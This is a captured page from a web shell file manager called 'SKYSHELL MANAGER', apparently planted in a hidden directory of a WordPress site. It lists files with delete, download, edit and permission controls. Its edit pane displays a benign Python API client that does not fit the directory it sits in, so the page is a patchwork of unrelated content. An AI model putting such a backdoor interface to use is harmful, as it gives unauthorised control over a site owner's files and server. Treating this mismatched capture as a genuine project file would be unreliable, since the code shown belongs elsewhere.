📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
godaofbq
/
besthyperbaric.com
/
wp-includesac411f
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📄
error_log
9793.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: __init__.py
import json from datetime import datetime import requests import status from requests import Response from app.utils import Result class ManagedServersApiClient: def __init__(self, token: str, base_url: str): self.token = token self.auth_header = "Bearer" self.base_url = base_url self.prefix = "/api/v1/managed_servers" self.headers = { "accept": "application/json", "Content-Type": "application/json", "Authorization": f"{self.auth_header} {self.token}", } def _make_request( self, httpd_method: str, endpoint: str, payload: dict = None, ) -> Response: url = f"{self.base_url}{self.prefix}/{endpoint}" data = dict( method=httpd_method, url=url, headers=self.headers, ) if payload is not None: data["data"] = json.dumps(payload) response = requests.request(**data) return response def add_service_check( self, service: str, payload: dict, auto_fix_status: str = None, client_notified: bool = None, acknowledged: bool = None, service_status: str = None, ) -> Result: result = Result() endpoint = "service_checks/" method = "POST" timestamp = datetime.utcnow().isoformat("T") data = { "created": timestamp, "service": service, "auto_fix_status": auto_fix_status, "payload": payload, } if client_notified is not None: data["client_notified"] = client_notified if acknowledged is not None: data["acknowledged"] = acknowledged if service_status is not None: data["service_status"] = service_status response = self._make_request(method, endpoint, data) if response.status_code != status.HTTP_201_CREATED: result.success = False result.message = response.text else: result.data = response.json() return result
Save